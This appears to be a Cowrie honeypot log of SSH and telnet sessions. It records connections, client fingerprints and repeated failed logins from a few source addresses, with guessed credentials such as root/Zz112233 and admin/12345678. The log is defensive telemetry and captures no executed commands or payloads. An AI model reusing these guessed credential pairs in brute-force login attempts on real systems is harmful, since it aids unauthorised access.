{"eventid":"cowrie.login.failed","username":"RPM","password":"RPM","message":"login attempt [RPM/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:48.155622Z","src_ip":"141.11.88.14","session":"681eb6776fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:49.385832Z","src_ip":"141.11.88.14","session":"681eb6776fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50890,"dst_ip":"10.17.0.5","dst_port":22,"session":"96d8946fad2b","protocol":"ssh","message":"New connection: 141.11.88.14:50890 (10.17.0.5:22) [session: 96d8946fad2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:54.071032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:54.109225Z","src_ip":"141.11.88.14","session":"96d8946fad2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:54.219832Z","src_ip":"141.11.88.14","session":"96d8946fad2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:55.049232Z","src_ip":"141.11.88.14","session":"96d8946fad2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:15:56.231106Z","src_ip":"141.11.88.14","session":"96d8946fad2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54184,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4d6034c03f","protocol":"ssh","message":"New connection: 141.11.88.14:54184 (10.17.0.5:22) [session: aa4d6034c03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:02.128973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:02.338015Z","src_ip":"141.11.88.14","session":"aa4d6034c03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:02.343002Z","src_ip":"141.11.88.14","session":"aa4d6034c03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.25289487838745,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:03.740867Z","src_ip":"128.199.8.54","session":"08564b00124a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:03.938773Z","src_ip":"141.11.88.14","session":"aa4d6034c03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:05.046202Z","src_ip":"141.11.88.14","session":"aa4d6034c03f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":42428,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbc2f07c017","protocol":"ssh","message":"New connection: 27.71.230.31:42428 (10.17.0.5:22) [session: 0bbc2f07c017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:08.965131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:09.006897Z","src_ip":"27.71.230.31","session":"0bbc2f07c017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:09.234439Z","src_ip":"27.71.230.31","session":"0bbc2f07c017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":20180,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a284de8ff90","protocol":"ssh","message":"New connection: 141.11.88.14:20180 (10.17.0.5:22) [session: 0a284de8ff90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:10.403203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:10.607881Z","src_ip":"141.11.88.14","session":"0a284de8ff90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:10.614354Z","src_ip":"141.11.88.14","session":"0a284de8ff90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:11.043267Z","src_ip":"141.11.88.14","session":"0a284de8ff90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:12.127466Z","src_ip":"141.11.88.14","session":"0a284de8ff90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1010*","message":"login attempt [root/admin@1010*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:12.539324Z","src_ip":"27.71.230.31","session":"0bbc2f07c017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:14.564053Z","src_ip":"27.71.230.31","session":"0bbc2f07c017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51340,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b5937220d3d","protocol":"ssh","message":"New connection: 141.11.88.14:51340 (10.17.0.5:22) [session: 2b5937220d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:17.828440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:17.881762Z","src_ip":"141.11.88.14","session":"2b5937220d3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:18.029509Z","src_ip":"141.11.88.14","session":"2b5937220d3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin123","message":"login attempt [kevin/kevin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:18.396598Z","src_ip":"141.11.88.14","session":"2b5937220d3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:19.711080Z","src_ip":"141.11.88.14","session":"2b5937220d3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51376,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6e06e172df3","protocol":"ssh","message":"New connection: 141.11.88.14:51376 (10.17.0.5:22) [session: d6e06e172df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:24.749023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:24.888868Z","src_ip":"141.11.88.14","session":"d6e06e172df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:24.892548Z","src_ip":"141.11.88.14","session":"d6e06e172df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:25.748906Z","src_ip":"141.11.88.14","session":"d6e06e172df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:26.868283Z","src_ip":"141.11.88.14","session":"d6e06e172df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52948,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eb110a63131","protocol":"telnet","message":"New connection: 128.199.8.54:52948 (159.203.135.109:23) [session: 2eb110a63131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:30.859598Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47556,"dst_ip":"10.17.0.5","dst_port":22,"session":"8266e5b24848","protocol":"ssh","message":"New connection: 141.11.88.14:47556 (10.17.0.5:22) [session: 8266e5b24848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:31.751201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:31.952303Z","src_ip":"141.11.88.14","session":"8266e5b24848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:31.955566Z","src_ip":"141.11.88.14","session":"8266e5b24848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz112233","message":"login attempt [root/Zz112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:32.809315Z","src_ip":"141.11.88.14","session":"8266e5b24848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:33.937934Z","src_ip":"141.11.88.14","session":"8266e5b24848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00189208984375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:39.050845Z","src_ip":"94.23.66.112","session":"2daf31f19a5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27694,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee527549f99","protocol":"ssh","message":"New connection: 141.11.88.14:27694 (10.17.0.5:22) [session: bee527549f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:39.479593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:39.487948Z","src_ip":"141.11.88.14","session":"bee527549f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:39.584935Z","src_ip":"141.11.88.14","session":"bee527549f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:16:40.039139Z","src_ip":"141.11.88.14","session":"bee527549f99","protocol":"ssh"}
